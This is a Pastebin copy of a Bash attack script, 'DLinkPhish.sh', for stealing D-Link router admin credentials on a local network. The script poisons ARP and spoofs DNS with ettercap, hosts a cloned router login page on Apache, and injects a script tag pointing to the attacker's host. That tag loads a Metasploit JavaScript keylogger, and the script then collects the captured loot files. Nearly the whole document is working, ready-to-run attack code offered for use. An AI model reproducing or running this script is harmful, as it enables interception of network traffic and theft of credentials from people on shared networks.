r00t-3xp10it

DLinkPhish.sh

Aug 5th, 2015
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 9.77 KB | None | 0 0
  1. #!/bin/sh
  2. ### inicio
  3. #
  4. # THIS SCRIPT WAS BUILD TO WORK ON A UNIX SYSTEMS
  5. # Develop By: pedr0 Ubuntu [r00t-3xp10it]
  6. # peterubuntu10[at]sourceforge[dot]net
  7. # -----------------------------------------------
  8. # quick script to perform MitM+DNS_SPOOF in local
  9. # LAN in an attempt to capture routers webpage admin
  10. # credentials using phishing method.
  11. # -----------------------------------------------
  12. # Dependencies to work: Unix (kernel) systems,
  13. # metasploit, ettercap, apache2, zenity.
  14. #
  15. # Install/run:
  16. # tar -xvf DLinkPhish.tar.gz
  17. # cd DLinkPhish
  18. # chmod +x DLinkPhish.sh
  19. # sudo ./DLinkPhish.sh
  20. #
  21. ###
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31. resize -s 25 100 > /dev/null
  32. # ----------------------------------
  33. # VARIABLE DECLARATIONS
  34. # ----------------------------------
  35. ####################################################################################################
  36. Eth="/etc/ettercap/etter.dns"                              # Path to etter.dns conf file           #
  37. apache="/var/www"                                          # path to apache2 webserver             #
  38. ver="1.1"                                                  # module version develop                #
  39. w3re=`pwd`                                                 # grab script current directory         #
  40. H0m3=`echo ~`                                              # grab home directory                   #
  41. user=`who | cut -d' ' -f1 | sort | uniq`                   # grab username                         #
  42. DiStR0=`awk '{print $1}' /etc/issue`                       # grab distribution - Ubuntu or Kali    #
  43. G4T3=`ip route | grep "static" | awk {'print $3'}`         # gab gateway                           #
  44. ####################################################################################################
  45.  
  46.  
  47.  
  48.  
  49. # -----------------------------------
  50. # Colorise shell Script output leters
  51. # -----------------------------------
  52. Colors() {
  53. Escape="\033";
  54.   white="${Escape}[0m";
  55.   RedF="${Escape}[31m";
  56.   GreenF="${Escape}[32m";
  57.   YellowF="${Escape}[33m";
  58.   BlueF="${Escape}[34m";
  59.   CyanF="${Escape}[36m";
  60. Reset="${Escape}[0m";
  61. }
  62.  
  63.  
  64.  
  65.  
  66. # -----------------------------------
  67. # check if all dependencies are installed
  68. # -----------------------------------
  69. Colors;
  70.  
  71.    # check if user is root
  72.    if [ $(id -u) != "0" ]; then
  73.      echo ${RedF}[x]${BlueF}[Check User]:${RedF} $USER ${Reset};
  74.      echo ${RedF}[x][not root]${white}:you need to be ${GreenF}[root]${white} to run this script.${Reset};
  75.      exit
  76.  
  77. else
  78.  
  79.    echo ${BlueF}[*][Check User]:${GreenF} $USER ${Reset};
  80.    sleep 1
  81.  
  82. fi
  83.  
  84.  
  85.    #check if metasploit exists
  86.    mSf=`which msfconsole`
  87.    if [ "$?" -eq "0" ]; then
  88.    echo ${BlueF}[*][Metasploit]:${white} installation found...${Reset};
  89.    sleep 1
  90.  
  91. else
  92.  
  93.    echo ${RedF}[x][warning]:${YellowF} this module required Metasploit instaled to work...${Reset};
  94.    echo ${RedF}[x]${YellowF} 'more info' here: http://www.darkoperator.com/installing-metasploit-in-ubunt/ ${Reset};
  95.    sleep 3
  96.    exit
  97. fi
  98.  
  99.  
  100.  
  101.    #check if ettercap exists
  102.    EtH=`which ettercap`
  103.    if [ "$?" -eq "0" ]; then
  104.    echo ${BlueF}[*][ettercap]:${white} installation found...${Reset};
  105.    sleep 1
  106.  
  107. else
  108.  
  109.    echo ${RedF}[x][warning]:${YellowF} this module required ettercap-ng instaled to work...${Reset};
  110.    sudo apt-get install ettercap
  111.    sleep 3
  112.    exit
  113. fi
  114.  
  115.  
  116.  
  117.    #check if apache exists
  118.    ApC=`which apache2`
  119.    if [ "$?" -eq "0" ]; then
  120.    echo ${BlueF}[*][apache2]:${white} installation found...${Reset};
  121.    sleep 1
  122.  
  123. else
  124.  
  125.    echo ${RedF}[x][warning]:${YellowF} this module required Apache webserver instaled to work...${Reset};
  126.    echo ${RedF}[x]${YellowF} 'more info' here: http://www.maketecheasier.com/install-and-configure-apache-in-ubuntu/2011/03/09 ${Reset};
  127.    sleep 3
  128.    exit
  129. fi
  130.  
  131.  
  132.  
  133.    #check if zenity exists
  134.    if [ -d /usr/share/zenity ]; then
  135.    echo ${BlueF}[*][zenity]:${white} installation found...${Reset};
  136.    sleep 1
  137.  
  138. else
  139.  
  140.    Colors;
  141.    echo ${RedF}[x][warning]:${YellowF} this module required 'zenity' instaled to work...${Reset};
  142.    echo ${RedF}[x]${YellowF}more 'info' here: http://www.tecmint.com/zenity-creates-graphical-gtk-dialog-boxes-in-command-line-and-shell-scripts/ ${Reset};
  143.    sudo apt-get install zenity
  144.    sleep 4
  145.    exit
  146. fi
  147.  
  148.  
  149.  
  150.  
  151.  
  152. clear
  153. Colors;
  154. # ------------------
  155. # BANNER DISPLAY
  156. # ------------------
  157. cat << !
  158.                 +-----------------------------+
  159.     (=('~')=)   | DLINK ADMIN LOGIN PHISHING  |
  160.    ,))|o o|((,  |    Author: r00t-3xp10it     |
  161.       ((_))     +-----------------------------+
  162.        '-'      |_VERSION:$ver LHOST:$IP
  163.  
  164.  
  165. !
  166. echo ${YellowF} quick script to perform MitM + DNS_SPOOF [${white} LOCAL LAN ${YellowF}]${Reset};
  167. echo ${YellowF} 'in' an attempt to capture routers webpage admin credentials${Reset};
  168. echo ${YellowF} using phishing method, just 'set' your IP [${white} LHOST ${YellowF}]${Reset};
  169. echo ${YellowF} the [${white} URIPATH ${YellowF}] to use and config [${white} 'etter.dns' ${YellowF}]${Reset};
  170. echo ${YellowF} to redirect all domains to our phishing webpage.${Reset};
  171. echo ""
  172. echo ""
  173. echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
  174. read op
  175.  
  176.  
  177.  
  178.  
  179. # ----------------------
  180. # grab network interface
  181. # ----------------------
  182. InT3R=`netstat -r | grep "default" | awk {'print $8'}`
  183. QuE=$(zenity --question --title "INTERFACE IN USE?" --text "-:[ $InT3R ? ]:-" --width 300) > /dev/null 2>&1
  184.      if [ "$?" -eq "0" ]; then
  185.        inter="$InT3R"
  186.  
  187. else
  188.  
  189.   # interface grab aborted by user
  190.   zenity --info --title="INTERFACE -> ABORTED" --text "Please manually input your interface in use" --width 350 > /dev/null 2>&1
  191.   echo ${GreenF}[*][Available Network Interfaces]: ${Reset};
  192.   echo ""
  193.   netstat -i | grep "wlan"  && netstat -i | grep "eth"  && netstat -i | grep "ppp"  && netstat -i | grep "vboxnet"  && netstat -i | grep "pan" && netstat -i | grep "vmnet"
  194.   echo ""
  195.   inter=$(zenity --title="Input interface in use" --text "example: wlan0 OR eth0" --entry --width 300) > /dev/null 2>&1
  196.  
  197. fi
  198.  
  199.  
  200.  
  201.  
  202. # ---------------------------------------
  203. # GRAB IP ADDRESS TO CONFIG MSF LHOST VAR
  204. # ---------------------------------------
  205.       case $DiStR0 in
  206.       Kali) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  207.       Debian) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $2}'`;;
  208.       Ubuntu) IP=`ifconfig $inter | egrep -w "inet" | awk '{print $3}'`;;
  209.       Parrot) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  210.       BackBox) IP=`ifconfig $inter | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
  211.       *) IP=`zenity --title="Input your IP addr" --text "example: 192.168.1.68" --entry --width 300`;;
  212. esac
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220. # ---------------------------------------------------------------
  221. # clone a website and inject a metasploit iframe (java_keylogger)
  222. # ---------------------------------------------------------------
  223. Colors;
  224.  
  225.       # input attackers variables
  226.       echo ${BlueF}[+][ INPUT ATTACK VECTOR SETTINGS ]${Reset};
  227.       lhost=$(zenity --title="Input your LHOST" --text "example: $IP" --entry --width 300) > /dev/null 2>&1
  228.       uripath=$(zenity --title="Input random URIPATH" --text "example: keylogger" --entry --width 300) > /dev/null 2>&1
  229.       echo -n "[-]{leave blank to poison all local network}(enter router ip address):"
  230.       read router
  231.       echo -n "[-]{leave blank to poison all local network}(enter target ip address):"
  232.       read victim
  233.  
  234.  
  235.  
  236. # inject the javascript <TAG> into cloned index.html using SED command
  237. # and inject router gateway ip into cloned website to make a proper display
  238. sed "s/<\/body>/<script type='text\/javascript' src='http:\/\/$lhost:8080\/$uripath\/test.js'><\/script><\/body>/g" index.html > copy.html
  239. sed "s|G4tW41|$G4T3|g" copy.html > copy2.html
  240. # copy all files to apache2 webroot
  241. mv $w3re/copy2.html $apache/index.html
  242. mv $w3re/login.html $apache/login.html
  243.  
  244.  
  245. # display current config settings to attacker
  246. cat << !
  247.  
  248.  DLINK [keylogger] Final Config:
  249.  ===============================
  250.  LPORT       : 8080
  251.  LHOST       : $lhost
  252.  GATEWAY     : $G4T3
  253.  PAYLOAD     : auxiliary/server/capture/http_javascript_keylogger
  254.  INJECTION   : <script type="text/javascript" src="http://$lhost:8080/$uripath/test.js"></script>
  255.  STORAGE IN  : $apache/index.html
  256.  
  257. !
  258.          sleep 2
  259.          # start apache2 webserver
  260.          xterm -T "MITM DLINK PHISHING[$ver] - start Apache webserver" -geometry 110x23 -e "/etc/init.d/apache2 start"
  261.          echo ${BlueF}[*][start apache2]${GreenF}[ OK ]${Reset};
  262.          sleep 2
  263.  
  264.       # setting ARP poison attack
  265.       echo ${BlueF}[*][edit etter.dns]${YellowF}[ PRESS ENTER ]${Reset};
  266.       read op
  267.       xterm -T "MITM DLINK PHISHING[$ver] - DNS_SPOOFING - press [ctrl+x] to quit" -geometry 110x23 -e "nano $Eth"
  268.       echo ${BlueF}[*][keylooger]${GreenF}[ RUNNING ] ${Reset};
  269.       echo ${BlueF}[*][spear phishing]${GreenF}[ ARP poison + DNS spoofing ]${Reset};
  270.       echo ${RedF}[x][warning]: press [ctrl+c] or [exit] to 'exit' meterpreter shell ${Reset};
  271.       echo ${RedF}[x][warning]: press [q] to stop MITM + DNS_SPOOF attack ${Reset};
  272.       sleep 3
  273.       # start a listenner + ettercap mitm + dns_spoof
  274.       xterm -T "MITM DLINK PHISHING[$ver] - keylogger" -geometry 110x23 -e "msfcli auxiliary/server/capture/http_javascript_keylogger DEMO=0 LHOST=$lhost URIPATH=$uripath E" & ettercap -T -Q -i $inter -P dns_spoof -M arp /$router/ /$victim/
  275.  
  276.  
  277.     # clean up script
  278.     # stop apache2 webserver if is running
  279.     /etc/init.d/apache2 stop
  280.     rm $apache/index.html > /dev/null 2>&1
  281.     rm $apache/login.html > /dev/null 2>&1
  282.     rm $w3re/copy.html > /dev/null 2>&1
  283.     cd $H0m3/.msf4/loot
  284.     mv *.txt $w3re/ > /dev/null 2>&1
  285.     zenity --info --title="MITM DLINK PHISHING[$ver]" --text "Author: r00t-3xp10it\nRemmenber to check logfiles" --width 350 > /dev/null 2>&1
  286.  
  287. #EOF
Advertisement
Add Comment
Please, Sign In to add comment